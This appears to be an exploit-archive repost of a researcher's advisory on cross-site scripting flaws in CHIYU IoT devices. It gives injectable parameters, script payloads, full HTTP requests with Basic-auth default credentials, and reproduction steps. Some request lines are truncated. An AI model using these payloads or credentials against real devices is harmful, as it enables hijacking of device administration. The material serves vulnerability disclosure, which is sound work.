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CHIYU IoT Cross Site Scripting

Authored by [sirpedrotavares](#)

Posted Jun 1, 2021

CHIYU IoT devices suffer from multiple cross site scripting vulnerabilities. Versions affected include BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC.

tags | [exploit](#), [vulnerability](#), [xss](#)

advisories | [CVE-2021-31250](#), [CVE-2021-31641](#), [CVE-2021-31643](#)

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<pre># Exploit Title: CHIYU IoT devices - 'Multiple' Cross-Site Scripting (XSS) # Date: May 31 2021 # Exploit Author: sirpedrotavares # Vendor Homepage: https://www.chiyu-tech.com/mag/mag88.html # Software Link: https://www.chiyu-tech.com/category/hardware.html # Version: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC - all firmware versions < June 2021 # Tested on: BF-430, BF-431, BF-450M, BF-630, BF631-W, BF830-W, Webpass, BF-MINI-W, and SEMAC # CVE: CVE-2021-31250 / CVE-2021-31641 / CVE-2021-31643 # Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks Description: Several versions and models of CHIYU IoT devices are vulnerable to multiple Cross-Site Scripting flaws. #1: Multiple stored XSS in CHIYU BF-430, BF-431, and BF-450M IP converter devices CVE ID: CVE-2021-31250 CVSS: Medium - CVSS:3.1/AV:L/PR:L/UI:N/S:C/L:T/N:A:H URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31250 ----- PoC 01 ----- Affected parameter: TF_submask Component: if.cgi Payload: "><script>alert(123)</script> HTTP Request: GET /if.cgi? redirect=setting.htm&failure=fail.htm&type=ap_tcps_apply&TF_ip=443&TF_submask=0&TF_submask=%22%3E%3Cscript%3Eal HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/ap_tcps.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (if.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_submask) 4. Submit the request and observe payload execution ----- PoC 02 ----- Affected parameter: TF_hostname=Component: dhcpc.cgi Payload: /"> HTTP request and response: HTTP Request: GET /dhcpc.cgi? redirect=setting.htm&failure=fail.htm&type=dhcpc_apply&TF_hostname=%2F%22%3E%3Cimg+src%3D%22%3E%22&S_type=2&S_b HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/wan_dc.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (dhcpc.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_hostname) 4. Submit the request and observe payload execution ----- PoC 03 ----- Affected parameter: TF_servicename=Component: ppp.cgi Payload: "><script>alert(123)</script> GET /ppp.cgi? redirect=setting.htm&failure=fail.htm&type=ppp_apply&TF_username=admin&TF_password=admin&TF_servicename=%22%3E%3 HTTP/1.1 Host: 192.168.187.143 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.143/wan_pe.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1 Steps to reproduce: 1. Navigate to the vulnerable device 2. Make a GET request to component mentioned (ppp.cgi) 3. Append the payload at the end of the vulnerable parameter (TF_servicename) 4. Submit the request and observe payload execution ----- PoC 04 ----- Affected parameter: TF_port=Component: man.cgi Payload: /"> GET /man.cgi? redirect=setting.htm&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3= HTTP/1.1 Host: 192.168.187.12 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.187.12/manager.htm Authorization: Basic OmFkbWlu Connection: close Upgrade-Insecure-Requests: 1</pre>	

Steps to reproduce:

1. Navigate to the vulnerable device
2. Make a GET request to component mentioned (man.cgi)
3. Append the payload at the end of the vulnerable parameter (TF_port)
4. Submit the request and observe payload execution

#2: Unauthenticated XSS in several CHYIU IoT devices
CVE ID: CVE-2021-31641
Medium - CVSS:3.1/AV:N/AC:L/LP:R/N/UI:R/S:C/C:L/I:N/A:N
URL: <https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31641>

Component: any argument passed via URL that results in an HTTP-404
Payload: `http://ip/<script>alert(123)</script>`

Steps to reproduce:

1. Navigate to the webpage of the vulnerable device
2. On the web-browser, you need to append the payload after the IP address (see payload above)
3. Submit the request and observe payload execution

#3: Stored XSS in CHYIU SEMAC, BP-630, BP-631, and Webpass IoT devices
CVE ID: CVE-2021-31643
Medium - CVSS:3.1/AV:N/AC:L/LP:R/N/UI:R/S:C/C:L/I:N/A:N
URL: <https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31643>

Affected parameter: username=
Component: if.cgi
Payload: `"><script>alert(1)</script>`

HTTP request - SEMAC Web Ver7.2

GET
/if.cgi?
redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creq=0&num=6&EmployeeID=0000&MarkID=0000&CardID=0000000&usern:
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRTaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=; remote=00000000
Upgrade-Insecure-Requests: 1

HTTP request - BIOSENSE-III-COMBO (M1) (20000)

GET
/if.cgi?
redirect=EmpRcd.htm&failure=fail.htm&type=user_data&creq=0&num=6&EmployeeID=3&MarkID=3474&CardID=00000000&emp_id=
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRTaW4=
Connection: close
Referer: http://127.0.0.1/EmpRcd.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1

Steps to reproduce:

1. Navigate to the vulnerable device
2. Make a GET request to component mentioned (if.cgi)
3. Append the payload at the end of the vulnerable parameter (username)
4. Submit the request and observe payload execution

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
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